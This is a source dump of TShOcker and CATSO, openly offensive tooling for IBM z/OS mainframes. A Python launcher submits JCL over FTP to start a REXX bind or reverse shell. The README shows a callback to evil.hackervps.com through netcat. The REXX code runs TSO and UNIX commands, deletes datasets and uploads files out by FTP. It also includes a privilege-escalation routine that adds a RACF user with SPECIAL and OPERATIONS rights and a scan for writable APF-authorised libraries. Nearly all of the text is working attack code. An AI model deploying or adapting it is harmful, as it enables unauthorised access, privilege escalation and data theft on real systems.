PROC(ISPFPROC) - " 809 | QUEUE " COMMAND(ISPF) - " 810 | QUEUE " ) - " 811 | QUEUE " OMVS( - " 812 | QUEUE " AUTOUID - " 813 | QUEUE " HOME('/home/&USERLC') - " 814 | QUEUE " PROGRAM('/bin/sh') - " 815 | QUEUE " ) " 816 | QUEUE "" 817 | QUEUE " ADDSD '&USERUC..*.**' UACC(NONE) " 818 | QUEUE " PERMIT '&USERUC..*.**' ACCESS(ALTER) ID(&USERUC) " 819 | QUEUE " ADDSD '&USERUC..**.ZFS' UACC(READ) " 820 | QUEUE "" 821 | QUEUE " PERMIT ACCT# CLASS(ACCTNUM) ID (&USERUC) " 822 | QUEUE "" 823 | QUEUE " PERMIT JCL CLASS(TSOAUTH) ID(&USERUC) ACCESS(READ) " 824 | QUEUE "" 825 | QUEUE " SETROPTS GENERIC(DATASET) REFRESH " 826 | QUEUE " SETROPTS RACLIST(TSOAUTH) REFRESH " 827 | QUEUE " ALU &USERUC SPECIAL OPER " 828 | QUEUE "//*------------------------------------------------------" 829 | QUEUE "//* Create an alias in the usercatalog, so the user can create DS " 830 | QUEUE "//CATALIAS EXEC PGM=IDCAMS " 831 | QUEUE "//SYSPRINT DD SYSOUT=* " 832 | QUEUE "//SYSIN DD *,SYMBOLS=JCLONLY " 833 | QUEUE " DEFINE ALIAS(NAME(&USERUC) RELATE(USERCAT.&INSTID)) " 834 | QUEUE "//*-----------------------------------------------------" 835 | QUEUE "//* Create ZFS for home directory " 836 | QUEUE "//* Save the ZFS in a linerar VSAM cluster " 837 | QUEUE "//* 50MB of initial allocation plus increments of 10MB " 838 | QUEUE "//* The VSAM cluster is shareable " 839 | QUEUE "//CREATEFS EXEC PGM=IDCAMS " 840 | QUEUE "//SYSPRINT DD SYSOUT=* " 841 | QUEUE "//SYSIN DD *,SYMBOLS=JCLONLY " 842 | QUEUE " DEFINE CLUSTER( - " 843 | QUEUE " NAME(&USERUC..OMVSHOME.ZFS) - " 844 | QUEUE " LINEAR - " 845 | QUEUE " CYLINDERS(50 10) - " 846 | QUEUE " SHAREOPTIONS(2) - " 847 | QUEUE " ) " 848 | QUEUE "//*------------------------------------------------------------" 849 | QUEUE "//* Format the ZFS " 850 | QUEUE "//* Uses the Aggregate Format in the IOE segment " 851 | QUEUE "//* Runs IOEAGFMT in compatibility mode " 852 | QUEUE "//FORMATFS EXEC PGM=IOEAGFMT,REGION=0M, " 853 | QUEUE "// PARM=('-aggregate &USERUC..OMVSHOME.ZFS -compat') " 854 | QUEUE "//SYSPRINT DD SYSOUT=* " 855 | QUEUE "//STDOUT DD SYSOUT=* " 856 | QUEUE "//STDERR DD SYSOUT=* " 857 | QUEUE "//*" 858 | QUEUE "$$" 859 | 860 | o = OUTTRAP("output.",,"CONCAT") 861 | address tso "SUBMIT * END($$)" 862 | o = OUTTRAP(OFF) 863 | 864 | reply = reply || "Added user" USERUC "with password" PASS 865 | 866 | return(reply) 867 | 868 | rand_char: 869 | length = arg(1) 870 | out = "" 871 | do counter=1 to length 872 | i = RANDOM(1,3) 873 | if i ==1 then out = out||D2C(RANDOM(193,201)) 874 | if i ==2 then out = out||D2C(RANDOM(226,233)) 875 | if i ==3 then out = out||D2C(RANDOM(209,217)) 876 | end 877 | return out 878 | 879 | list_apf: 880 | text = '' 881 | NUMERIC DIGITS 10 882 | CVT = C2d(Storage(10,4)) /* point to cvt */ 883 | GRSNAME = Storage(D2x(CVT + 340),8) /* point to system name */ 884 | GRSNAME = Strip(GRSNAME,'T') /* del trailing blanks */ 885 | CVTAUTHL = C2d(Storage(D2x(CVT + 484),4)) /* point to auth lib tbl*/ 886 | If CVTAUTHL <> C2d('7FFFF001'x) then do /* static list ? */ 887 | NUMAPF = C2d(Storage(D2x(CVTAUTHL),2)) /* # APF libs in table */ 888 | APFOFF = 2 /* first ent in APF tbl */ 889 | Do I = 1 to NUMAPF 890 | LEN = C2d(Storage(D2x(CVTAUTHL+APFOFF),1)) /* length of entry */ 891 | VOL.I = Storage(D2x(CVTAUTHL+APFOFF+1),6) /* VOLSER of APF LIB */ 892 | DSN.I = Storage(D2x(CVTAUTHL+APFOFF+1+6),LEN-6) /*DSN of APF lib*/ 893 | APFOFF = APFOFF + LEN +1 894 | End 895 | End 896 | Else Do /* dynamic APF list via PROGxx */ 897 | ECVT = C2d(Storage(D2x(CVT + 140),4)) /* point to CVTECVT */ 898 | ECVTCSVT = C2d(Storage(D2x(ECVT + 228),4)) /* point to CSV table */ 899 | APFA = C2d(Storage(D2x(ECVTCSVT + 12),4)) /* APFA */ 900 | AFIRST = C2d(Storage(D2x(APFA + 8),4)) /* First entry */ 901 | ALAST = C2d(Storage(D2x(APFA + 12),4)) /* Last entry */ 902 | LASTONE = 0 /* flag for end of list */ 903 | NUMAPF = 1 /* tot # of entries in list */ 904 | /* Get the WARNING DATASETS. If they're on the APF list..... */ 905 | W = OUTTRAP('OUTW.') 906 | ADDRESS TSO "SEARCH ALL WARNING NOMASK" 907 | W = OUTTRAP('OFF') 908 | text = "+ Dataset --> Access" NEWLINE 909 | Do forever 910 | DSN.NUMAPF = Storage(D2x(AFIRST+24),44) /* DSN of APF library */ 911 | DSN.NUMAPF = Strip(DSN.NUMAPF,'T') /* remove blanks */ 912 | PRIV.NUMAPF = check_priv(DSN.NUMAPF) 913 | if PRIV.NUMAPF <> "ALTER" then do 914 | /* We might push in via dataset in WARN mode */ 915 | do www = 1 to OUTW.0 916 | if OUTW.www == DSN.NUMAPF then 917 | /* It must be christmas!! */ 918 | PRIV.NUMAPF = "ALTER" 919 | end 920 | 921 | text = text || "+" DSN.NUMAPF "-->" PRIV.NUMAPF NEWLINE 922 | CKSMS = Storage(D2x(AFIRST+4),1) /* DSN of APF library */ 923 | if bitand(CKSMS,'80'x) = '80'x /* SMS data set? */ 924 | then VOL.NUMAPF = '*SMS* ' /* SMS control dsn */ 925 | else VOL.NUMAPF = Storage(D2x(AFIRST+68),6) /* VOLSER of APF lib*/ 926 | If Substr(DSN.NUMAPF,1,1) <> X2c('00') /* check for deleted */ 927 | then NUMAPF = NUMAPF + 1 /* APF entry */ 928 | AFIRST = C2d(Storage(D2x(AFIRST + 8),4)) /* next entry */ 929 | if LASTONE = 1 then leave 930 | If AFIRST = ALAST then LASTONE = 1 931 | End 932 | NUMAPF = NUMAPF-1 933 | End 934 | 935 | return text 936 | 937 | check_priv: 938 | NOT_AUTH="NOT AUTHORIZED" 939 | NO_PROFILE="NO RACF" 940 | DSN = arg(1) 941 | 942 | /* First we Check for a specific rule */ 943 | /* ICH35003I */ 944 | A = OUTTRAP('OUT.') 945 | ADDRESS TSO "LD DA('"DSN"')" 946 | B = OUTTRAP('OFF') 947 | IF OUT.0==1 THEN DO 948 | IF INDEX(OUT.1,"ICH35003I") >0 THEN DO 949 | X = OUTTRAP('OUTG.') 950 | ADDRESS TSO "LD DA('"DSN"') GEN" 951 | Y = OUTTRAP('OFF') 952 | IF OUTG.0==1 THEN DO 953 | IF INDEX(OUTG.1,NOT_AUTH)>0 THEN 954 | RETURN "NONE" 955 | IF INDEX(OUTG.1,NO_PROFILE)>0 THEN 956 | RETURN "NO RACF PROFILE" 957 | END 958 | ELSE IF OUTG.0>1 THEN DO 959 | ACCESS = WORD(OUTG.17,1) 960 | return ACCESS 961 | END 962 | END 963 | IF INDEX(OUT.1,NOT_AUTH)>0 THEN 964 | RETURN "NONE" 965 | IF INDEX(OUT.1,NO_PROFILE)>0 THEN 966 | RETURN "NO RACF PROFILE" 967 | END 968 | ELSE IF OUT.0>1 THEN DO 969 | ACCESS = WORD(OUT.17,1) 970 | return ACCESS 971 | END 972 | return -1 973 | 974 | GET_HELP: 975 | /* Help command */ 976 | help = NEWLINE, 977 | "Core Commands"||NEWLINE, 978 | "============="||NEWLINE||NEWLINE, 979 | " Command Description"||NEWLINE, 980 | " ------- -----------"||NEWLINE, 981 | " help Help Menu"||NEWLINE, 982 | " exit Terminate the session"||NEWLINE, 983 | " quit Terminate the session"||NEWLINE, 984 | NEWLINE||NEWLINE, 985 | "Filesystem Commands"||NEWLINE, 986 | "==================="||NEWLINE||NEWLINE, 987 | " Command Description"||NEWLINE, 988 | " ------- -----------"||NEWLINE, 989 | " cat Show contents of dataset"||NEWLINE, 990 | " cp copies a file to a new file"||NEWLINE, 991 | " ls list datasets in HLQ"||NEWLINE, 992 | " delete deletes a file"||NEWLINE, 993 | " del also deletes a file"||NEWLINE, 994 | " lsmem Lists files and members"||NEWLINE, 995 | " !!WARNING!! Takes time and IO"||NEWLINE, 996 | NEWLINE||NEWLINE, 997 | "Networking Commands"||NEWLINE, 998 | "==================="||NEWLINE||NEWLINE, 999 | " Command Description"||NEWLINE, 1000 | " ------- -----------"||NEWLINE, 1001 | " ipconfig Display interfaces"||NEWLINE, 1002 | " ifconfig Display interfaces"||NEWLINE, 1003 | NEWLINE||NEWLINE, 1004 | "System Commands"||NEWLINE, 1005 | "==============="||NEWLINE||NEWLINE, 1006 | " Command Description"||NEWLINE, 1007 | " ------- -----------"||NEWLINE, 1008 | " getuid Get current user name"||NEWLINE, 1009 | " sysinfo Remote system info (i.e OS)"||NEWLINE, 1010 | " apf Get list of APF authorised libraries", 1011 | NEWLINE, 1012 | " racf Show password database location", 1013 | NEWLINE, 1014 | " execute Execute a TSO command"||NEWLINE, 1015 | " tso Execute TSO command (same as execute)", 1016 | NEWLINE, 1017 | " unix UNIX command (i.e ls -al)"||NEWLINE, 1018 | " ftp Upload a file from the mainframe to", 1019 | NEWLINE, 1020 | " an FTP server. Syntax is:"||NEWLINE, 1021 | " host/ip user pass filename [binary]", 1022 | "Attacker Commands"||NEWLINE, 1023 | "==============="||NEWLINE||NEWLINE, 1024 | " Command Description"||NEWLINE, 1025 | " ------- -----------"||NEWLINE, 1026 | " privesc Launch privesc to make a new user"||NEWLINE, 1027 | " adduser Adds a user", 1028 | NEWLINE||NEWLINE 1029 | return help -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | .-~*~--,. .-. 2 | .-~-. ./OOOOOOOOO\.'OOO`9~~-. 3 | .`OOOOOO.OOM.OLSONOOOOO@@OOOOOO\ 4 | /OOOO@@@OO@@@OO@@@OOO@@@@@@@@OOOO`. 5 | |OO@@@WWWW@@@@OOWWW@WWWW@@@@@@@OOOO). 6 | .-'OO@@@@WW@@@W@WWWWWWWWOOWW@@@@@OOOOOO} 7 | /OOO@@O@@@@W@@@@@OOWWWWWOOWOO@@@OOO@@@OO| 8 | lOOO@@@OO@@@WWWWWWW\OWWWO\WWWOOOOOO@@@O.' 9 | \OOO@@@OOO@@@@@@OOW\|||||\WWWW@@@@@@@O'. 10 | `,OO@@@OOOOOOOOOOWW\|||||\WWWW@@@@@@OOO) 11 | \,O@@@@@OOOOOOWWWWW\|||||\WW@@@@@OOOO.' 12 | `~c~8~@@@@WWW@@W\|||||||\WOO|\UO-~' 13 | (OWWWWWW@/\W\|||||||\WO) 14 | `~-~'' \|||\WW=*' 15 | __\|||\ 16 | \||||||\ 17 | \||||__\ 18 | TShOcker \||\ 19 | \|\ 20 | \|\ 21 | \\ 22 | \\ 23 | \ 24 | \ 25 | 26 | TShOcker 27 | ======== 28 | 29 | A REXX script (CATSO) wrapped in JCL, enveloped in Python. CATSO is a rexx script meant to act like a mini command interpreter for TSO and UNIX but accessible through a simple netcat and/or any TCP bind (like metasploit). Using FTP (and JES mode) this script generates the necessary JCL needed to execute the rexx script in a temporary dataset. All you need to do is get a mainframe FTP username and password and you're good to go. 30 | 31 | 32 | Example 33 | ======== 34 | 35 | Reverse Connection 36 | -------------------- 37 | Terminal 1: nc -l -p 31337 38 | 39 | Terminal 2: ./TShOcker.py -r --rhost evil.hackervps.com --rport 31337 mainframe.ftp.corp.com jsmith dumbpass 40 | 41 | Listener 42 | -------- 43 | ./TShOcker.py -l --lport 31337 mainframe.ftp.corp.com jsmith dumbpass 44 | 45 | nc mainframe.ftp.corp.com 31337 46 | 47 | Enter command or 'help'> help 48 | 49 | Core Commands 50 | ============= 51 | 52 | * help Help Menu 53 | * exit Terminate the session 54 | * quit Terminate the session 55 | 56 | 57 | Filesystem Commands 58 | =================== 59 | 60 | * cat Show contents of dataset 61 | * cp copies a file to a new file 62 | * ls list datasets in HLQ 63 | * delete deletes a file 64 | * del also deletes a file 65 | * lsmem Lists files and members 66 | !!WARNING!! Takes time and IO 67 | 68 | 69 | Networking Commands 70 | =================== 71 | 72 | * ipconfig Display interfaces 73 | * ifconfig Display interfaces 74 | 75 | 76 | System Commands 77 | =============== 78 | 79 | * getuid Get current user name 80 | * sysinfo Remote system info (i.e OS) 81 | * racf Show password database location 82 | * execute Execute a TSO command 83 | * tso Execute TSO command (same as execute) 84 | * unix UNIX command (i.e ls -al) 85 | * ftp Upload a file from the mainframe to an FTP server. Syntax: host/ip user pass filename [binary] 86 | 87 | -------------------------------------------------------------------------------- /TShOcker.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | ######################################################################### 4 | # TShOcker # 5 | ######################################################################### 6 | # IBM Mainframe Listener or Reverse Shell: # 7 | # This program is really only a shell around CATSO (see function # 8 | # CATSO below). What it does is create a JCL file with two steps: # 9 | # #1 - Copy catso to a temp file # 10 | # #2 - Execute catso with some parameters # 11 | # # 12 | # Mainframe Backdoor Script: # 13 | # On z/OS users can submit jobs (or JCL) via FTP (using site file=JES) # 14 | # jobs can also execute programs. For example a REXX script This # 15 | # script uploads a JCL file with a REXX script in line which the # 16 | # mainframe executes for us. # 17 | # # 18 | # Requirements: Python, z/OS FTP Server username/password and the right # 19 | # access rights. # 20 | # Created by: Soldier of Fortran (@mainframed767) # 21 | # # 22 | # Copyright GPL 2013 # 23 | ######################################################################### 24 | 25 | from ftplib import FTP #For FTP stuff 26 | import os #to manipulate people... uh I mean files 27 | import string #to generate file names 28 | import random #samesies 29 | from random import randrange #random file name 30 | import sys #to sleep and exit 31 | import signal 32 | import argparse 33 | import base64 34 | 35 | # This function generates a random filename for us to use 36 | def filename_generator(size=8, chars=string.ascii_uppercase): 37 | return ''.join(random.choice(chars) for x in range( 1, size )) 38 | 39 | ##Colours for us to use 40 | class bcolors: 41 | HEADER = '\033[95m' 42 | BLUE = '\033[94m' 43 | GREEN = '\033[92m' 44 | YELLOW = '\033[93m' 45 | RED = '\033[91m' 46 | ENDC = '\033[0m' 47 | WHITE = '\033[97m' 48 | 49 | def disable(self): 50 | self.HEADER = '' 51 | self.BLUE = '' 52 | self.GREEN = '' 53 | self.YELLOW = '' 54 | self.RED = '' 55 | self.ENDC = '' 56 | self.WHITE = '' 57 | 58 | # catch the ctrl-c to exit and say something instead of Punt! 59 | def signal_handler(signal, frame): 60 | print 'Kick!'+bcolors.ENDC 61 | sys.exit(0) 62 | 63 | def JCLHeader(USERID, FILENAME): 64 | #Generates the JCL Header needed to create a temp file using JCL 65 | JOBNAME = USERID.upper() + random.choice(string.ascii_uppercase) 66 | JOBCARD = JOBNAME.ljust(9) 67 | JCL = "//"+JOBCARD+" JOB ("+USERID.upper()+'''),'SoF',CLASS=A,MSGCLASS=0,MSGLEVEL=(1,1) 68 | //* The next are lines JCL to create a temp dataset (&&OMG) with 69 | //* a member ('''+FILENAME+'''). The file then looks like &&OMG('''+FILENAME+'''). 70 | //* The end of the REXX file is noted as single line with ## on it 71 | //* The program IEBGENER copies all that data to the temp file 72 | //CREATOMG EXEC PGM=IEBGENER 73 | //SYSPRINT DD SYSOUT=* 74 | //SYSIN DD DUMMY 75 | //SYSUT2 DD DSN=&&OMG('''+FILENAME+'''),UNIT=SYSDA, 76 | // DISP=(NEW,PASS,DELETE), 77 | // SPACE=(TRK,(1,1,1)), 78 | // DCB=(LRECL=80,BLKSIZE=3120,RECFM=FB,DSORG=PO) 79 | //SYSUT1 DD DATA,DLM=##''' 80 | 81 | return JCL 82 | 83 | def CATSO(): 84 | #A copy of catso 85 | REXX = ''' 86 | /* REXX */ 87 | /* Catso. n. 1. A base fellow; a rogue; a cheat, */ 88 | /* also a z/OS Network TSO 'shell' */ 89 | /* */ 90 | /* CaTSO is a A "meterpreter" like shell written in REXX. */ 91 | /* Yet another amazing mainframe tool brought to you by: */ 92 | /* . . . */ 93 | /* .___________ ._________. */ 94 | /* : . / : : */ 95 | /* | |____/________| _____| */ 96 | /* |____. | | | */ 97 | /* | | | : | ______: */ 98 | /* | | | | | | . */ 99 | /* :_________|________|___| */ 100 | /* . Soldier of Fortran */ 101 | /* (@mainframed767) */ 102 | /* */ 103 | /* This is a REXX script meant to run in TSO on IBM z/OS */ 104 | /* It creates a Listener or Reverse 'shell' on a supplied port */ 105 | /* Connect to it with either metasploit or netcat */ 106 | /* */ 107 | /* Either upload the script and execute: tso ex 'userid.zossock' */ 108 | /* or use a JCL file and execute it that way */ 109 | /* On the PC side you can use Netcat or Metasploit to connect. */ 110 | /* */ 111 | /* In Listener Mode */ 112 | /* ================ */ 113 | /* On the Mainframe: */ 114 | /* L Port */ 115 | /* */ 116 | /* With Metasploit: */ 117 | /* msf > use multi/handler */ 118 | /* msf exploit(handler) > set payload generic/shell_bind_tcp */ 119 | /* payload => generic/shell_bind_tcp */ 120 | /* msf exploit(handler) > set RHOST IP (Mainframe IP Address) */ 121 | /* msf exploit(handler) > set LPORT Port (the port you picked) */ 122 | /* msf exploit(handler) > exploit */ 123 | /* */ 124 | /* With Netcat: */ 125 | /* $ nc IP Port */ 126 | /* */ 127 | /* In Reverse Mode */ 128 | /* ================ */ 129 | /* With Metasploit: */ 130 | /* msf > use multi/handler */ 131 | /* msf exploit(handler) > set payload generic/shell_reverse_tcp */ 132 | /* payload => generic/shell_reverse_tcp */ 133 | /* msf exploit(handler) > set lhost your-ip-address */ 134 | /* msf exploit(handler) > set LPORT your-port */ 135 | /* msf exploit(handler) > exploit */ 136 | /* */ 137 | /* With Netcat: */ 138 | /* $ nc -lp your_port */ 139 | /* */ 140 | /* On the Mainframe: */ 141 | /* R your-ip-addredd your-port */ 142 | /* */ 143 | /* ASCII Art modified from: */ 144 | /* http://sixteencolors.net/pack/rmrs-03/DW-CHOOS.ANS */ 145 | /* */ 146 | /* Let's start the show! */ 147 | /* ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ */ 148 | 149 | /* Uncomment this line to turn on debugging */ 150 | /* TRACE I */ 151 | /* change verbose to 1 to see results on the screen */ 152 | verbose = 0 153 | 154 | if verbose then say '' 155 | if verbose then say '' 156 | if verbose then say '' 157 | pwd = userid() 158 | NEWLINE = "25"x /* this is the hex equivalent of EBCDIC /n */ 159 | 160 | PARSE ARG type arghost argport 161 | 162 | /* Parse the arguments to see what we want to do */ 163 | SELECT 164 | WHEN type = 'L' THEN 165 | DO 166 | IF arghost = '' THEN 167 | DO 168 | if verbose then say "[+] You specified Listener without a port." 169 | if verbose then say "Using default: 12345" 170 | arghost = 12345 171 | END 172 | if verbose then say '[+] Listening on port:' arghost 173 | party = MATT_DAEMON(arghost) 174 | END 175 | WHEN type = 'R' THEN 176 | DO 177 | IF arghost = '' | argport = '' THEN 178 | DO 179 | SAY '[!] You must pass a host and port when using Reverse' 180 | EXIT 4 181 | END 182 | if verbose then say '[+] Sending shell to' arghost||":"||argport 183 | ttime = REVERSE_CON(arghost,argport) /* Reverse Connection */ 184 | END 185 | OTHERWISE /* Excellent */ 186 | PARSE SOURCE . . . . name . 187 | say "No arguments passed! Run this as either server or client:" 188 | say "Reverse Shell: '"||name||"' 'R IP PORT'" 189 | say "Listener Shell: '"||name||"' 'L PORT'" 190 | EXIT 4 191 | END /* End the arguments parser */ 192 | 193 | MATT_DAEMON: /* Starts the listener mode */ 194 | parse arg port 195 | terp = SOCKET('INITIALIZE','DAEMON',2) 196 | /* terp is short for z-terpreter */ 197 | parse var terp terp_rc . 198 | IF terp_rc <> 0 THEN 199 | DO 200 | if verbose then say "[!] Couldn't create socket" 201 | exit 1 202 | END 203 | terp = Socket('GetHostId') 204 | parse var terp socket_rc MF_IP . 205 | /* LOL we ignore this */ 206 | MF_IP = '0.0.0.0' 207 | terp = Socket('Gethostname') 208 | parse var terp src hostname 209 | /* setup the socket */ 210 | terp = SOCKET('SOCKET') 211 | parse var terp socket_rc socketID . 212 | if socket_rc <> 0 then 213 | DO 214 | if verbose then say "[!] Socket FAILED with info:" terp 215 | terp = SOCKET('TERMINATE') 216 | exit 1 217 | END 218 | 219 | /* Setup: ASCII conversion, Reuse, no linger and non-blocking */ 220 | terp = Socket('SETSOCKOPT',socketID,'SOL_SOCKET','SO_REUSEADDR','ON') 221 | terp = Socket('SETSOCKOPT',socketID,'SOL_SOCKET','SO_KEEPALIVE','ON') 222 | terp = Socket('SETSOCKOPT',socketID,'SOL_SOCKET','SO_LINGER','OFF') 223 | terp = Socket('IOCTL',socketID,'FIONBIO','ON') 224 | terp = Socket('BIND',socketID,'AF_INET' port MF_IP) 225 | parse var terp connect_rc rest 226 | if connect_rc <> 0 then 227 | DO 228 | if verbose then say "[!] Bind Failed:" terp 229 | CALL DAVID_COULIER(1) 230 | END 231 | if verbose then say "[!] IP" MF_IP "and Port" port "opened" 232 | terp = Socket('Listen',socketID,2) 233 | parse var terp src . 234 | if src > 0 then DAVID_COULIER(1) 235 | if verbose then say '[+] Server Ready' 236 | 237 | clients = '' 238 | DO FOREVER /* Like, forever forever? A: Yes. */ 239 | terp = Socket('Select','READ' socketID clients 'WRITE' 'EXCEPTION') 240 | parse upper var terp 'READ' readin 'WRITE' writtin 'EXCEPTION' exceptin 241 | 242 | IF INLIST(socketID,readin) THEN /* see if we have a new socket */ 243 | DO 244 | terp = Socket('Accept',socketID) 245 | parse var terp src hackerID . hport hip 246 | if verbose then say "[!] Connection from "||hip||":"||hport 247 | clients = hackerID 248 | if verbose then say '[+] Hacker socket ID' clients 249 | terp = Socket('Socketsetstatus') 250 | parse var terp src . status 251 | if verbose then say '[+] Current Status' status 252 | terp = Socket('Setsockopt',hackerID,'SOL_SOCKET','SO_ASCII','ON') 253 | terp = Socket('Ioctl',hackerID,'FIONBIO','ON' ) 254 | terp = SOCKET('SEND',hackerID, "Enter command or 'help'> ") 255 | END /* end new connection check */ 256 | /* If the READ is our hacker socket ID then do all the goodness */ 257 | /* since there's only one socket allowed, it will only be that id */ 258 | if readin = hackerID THEN 259 | DO 260 | ARNOLD = commando(hackerID) /* get the command */ 261 | if verbose then say "[+] Commands received: "||ARNOLD 262 | parse = CHOPPA(hackerID,ARNOLD) /* Get the cmd to da choppa! */ 263 | END 264 | END /* OK not forever */ 265 | 266 | return 0 267 | 268 | REVERSE_CON: /* Get it? Reverse Con? Yea you got it! */ 269 | PARSE ARG rhost, rport 270 | terp = SOCKET('INITIALIZE','CLIENT',2) 271 | /* terp is short for z-terpreter */ 272 | terp = SOCKET('SOCKET',2,'STREAM','TCP') 273 | parse var terp socket_rc socketID . 274 | if socket_rc <> 0 then 275 | do 276 | if verbose then say "[!] Socket FAILED with info:" terp 277 | terp = SOCKET('TERMINATE') 278 | exit 1 279 | end 280 | terp = Socket('SETSOCKOPT',socketID,'SOL_SOCKET','SO_KEEPALIVE','ON') 281 | /* Okay now we setup so it can do EBCDIC to ASCII conversion */ 282 | terp = SOCKET('SETSOCKOPT',socketID,'SOL_SOCKET','SO_ASCII','On') 283 | parse var terp ascii_rc . 284 | if ascii_rc <> 0 then 285 | do 286 | if verbose then say "[!] Setting ASCII mode failed:" terp 287 | exit 1 288 | end 289 | terp = SOCKET('SOCKETSETSTATUS','CLIENT') 290 | if verbose then say "[+] Socket Status is" terp 291 | terp = SOCKET('CONNECT',socketID,'AF_INET' rport rhost) 292 | parse var terp connect_rc rest 293 | if connect_rc <> 0 then 294 | do 295 | if verbose then say "[!] Connection Failed:" terp 296 | CALL DAVID_COULIER(4) 297 | end 298 | if verbose then say "[!] Connection Established to", 299 | rhost||":"||rport 300 | terp = SOCKET('SEND',socketID, "Enter command or 'help'> ") 301 | 302 | DO FOREVER /* The never end storyyyyy */ 303 | ARNOLD = commando(socketID) /* get the command */ 304 | if verbose then say "[+] Commands received: "||ARNOLD 305 | parse = CHOPPA(socketID,ARNOLD) /* get the cmd to da choppa! */ 306 | END /* Atreyu! */ 307 | return 0 308 | 309 | DAVID_COULIER: /* CUT. IT. OUT. */ 310 | parse arg exito . 311 | terp = SOCKET('CLOSE',socketID) 312 | EXIT exito 313 | return 0 314 | 315 | CHOPPA: 316 | parse arg sockID, do_it 317 | parse var do_it do_it do_commands 318 | /* We have our socket and commands not lets do this */ 319 | SELECT 320 | WHEN do_it = 'sysinfo' THEN 321 | DO 322 | send_it = GET_OS_INFO() 323 | if verbose then say '[!] Sending OS Info' 324 | terp = SOCKET('SEND',sockID, send_it||NEWLINE) 325 | END 326 | WHEN do_it = 'cat' THEN 327 | DO 328 | send_it = CAT_FILE(do_commands) 329 | if verbose then say '[!] Catting file' do_commands 330 | terp = SOCKET('SEND',sockID, send_it||NEWLINE) 331 | END 332 | WHEN do_it = 'cd' THEN 333 | DO 334 | if verbose then say '[!] CD to' do_commands 335 | send_it = NEWLINE||"cd to "||do_commands||NEWLINE 336 | pwd = do_commands 337 | terp = SOCKET('SEND',sockID, send_it||NEWLINE) 338 | END 339 | WHEN do_it = 'pwd' THEN 340 | DO 341 | send_it = NEWLINE||UPPER(pwd)||NEWLINE 342 | if verbose then say '[!] Sending PWD of:' pwd 343 | terp = SOCKET('SEND',sockID, send_it||NEWLINE) 344 | END 345 | WHEN do_it = 'ls' THEN 346 | DO 347 | IF do_commands = '' THEN 348 | send_it = LS(sockID,pwd) 349 | ELSE 350 | send_it = LS(sockID,do_commands) 351 | if verbose then say '[!] Sending LS COMMAND' 352 | terp = SOCKET('SEND',sockID, send_it||NEWLINE) 353 | END 354 | WHEN do_it = 'cp' THEN 355 | DO 356 | send_it = CP(do_commands) 357 | if verbose then say '[!] Copying' do_commands 358 | terp = SOCKET('SEND',sockID, send_it||NEWLINE) 359 | END 360 | WHEN do_it = 'del' | do_it = 'delete' THEN 361 | DO 362 | send_it = DELETE(do_commands) 363 | if verbose then say '[!] Deleting' do_commands 364 | terp = SOCKET('SEND',sockID, send_it||NEWLINE) 365 | END 366 | 367 | WHEN do_it = 'unix' THEN 368 | DO 369 | send_it = UNIX_COMMAND(do_commands) 370 | if verbose then say '[!] Sending UNIX COMMAND' 371 | terp = SOCKET('SEND',sockID, send_it||NEWLINE) 372 | END 373 | WHEN do_it = 'tso' | do_it = 'execute' THEN 374 | DO 375 | send_it = TSO_COMMAND(do_commands) 376 | if verbose then say '[!] Executing TSO Command' do_commands 377 | terp = SOCKET('SEND',sockID, send_it||NEWLINE) 378 | END 379 | WHEN do_it = 'ftp' THEN 380 | DO 381 | send_it = UPLOAD_FILE(do_commands) 382 | if verbose then say '[!] Using FTP to upload to' do_commands 383 | terp = SOCKET('SEND',sockID, send_it||NEWLINE) 384 | END 385 | WHEN do_it = 'getuid' THEN 386 | DO 387 | send_it = GET_UID() 388 | if verbose then say '[!] Sending UID' 389 | terp = SOCKET('SEND',sockID, send_it||NEWLINE) 390 | END 391 | WHEN do_it = 'lsmem' THEN 392 | DO 393 | IF do_commands = '' THEN 394 | send_it = LS_MEMBERS(pwd) 395 | ELSE 396 | send_it = LS_MEMBERS(do_commands) 397 | if verbose then say '[!] Sending Members' 398 | terp = SOCKET('SEND',sockID, send_it||NEWLINE) 399 | END 400 | WHEN do_it = 'ipconfig' | do_it = 'ifconfig' THEN 401 | DO 402 | send_it = GET_IP_INFO() 403 | if verbose then say '[!] Sending IP Info' 404 | terp = SOCKET('SEND',sockID, send_it||NEWLINE) 405 | END 406 | WHEN do_it = 'racf' THEN 407 | DO 408 | send_it = GET_RACFDB() 409 | if verbose then say '[!] Sending RACF Database Dataset Name' 410 | terp = SOCKET('SEND',sockID, send_it||NEWLINE) 411 | END 412 | WHEN do_it = 'help' THEN 413 | DO 414 | send_it = GET_HELP() 415 | if verbose then say '[!] Sending Help' 416 | terp = SOCKET('SEND',sockID, send_it||NEWLINE) 417 | END 418 | WHEN do_it = 'quit' | do_it = 'exit' THEN 419 | DO 420 | if verbose then say '[!] POP POP!' 421 | CALL DAVID_COULIER(0) /* jackalope */ 422 | END 423 | OTHERWISE /* The end of our options */ 424 | if verbose then say '[!] Unrecognized Command' 425 | END /* End the select section */ 426 | terp = SOCKET('SEND',sockID, "Enter command or 'help'> ") 427 | return 0 428 | 429 | INLIST: procedure 430 | arg sock, socklist 431 | 432 | DO i = 1 to words(socklist) 433 | if words(socklist) = 0 434 | then return 0 435 | if sock = word(socklist,i) 436 | then return 1 437 | end 438 | 439 | return 0 440 | 441 | commando: /* GET IN DA CHOPPA */ 442 | parse arg socket_to_use 443 | /* get commands */ 444 | choppa = '' 445 | sox = SOCKET('RECV',socket_to_use,10000) 446 | parse var sox s_rc s_type s_port s_ip s_results 447 | parse var sox s_rc s_data_len s_data_text 448 | if s_rc <> 0 then 449 | do 450 | if verbose then say "[!] Couldn't get data" 451 | CALL DAVID_COULIER(1) 452 | end 453 | /* Strip off the last byte cause it's all weird */ 454 | chopper = DELSTR(s_data_text, LENGTH(s_data_text)) 455 | return chopper 456 | 457 | 458 | GET_UID: /* returns the UID */ 459 | text = NEWLINE||"Mainframe userID: "||userid()||NEWLINE 460 | return text 461 | 462 | GET_IP_INFO: 463 | /* Uses TSO command 'netstat home' to get IP config */ 464 | /* Requires TSO segment */ 465 | x = OUTTRAP('var.') 466 | address tso "NETSTAT HOME" 467 | parse var var.1 a1 a2 a3 a4 a5 a6 a7 a8 type . 468 | text = NEWLINE||"TCP/IP Name:" type||NEWLINE 469 | IPADDR = SOCKET('GETHOSTID') 470 | parse var IPADDR ip_rc ip_addr 471 | text = text||"Connected using IP 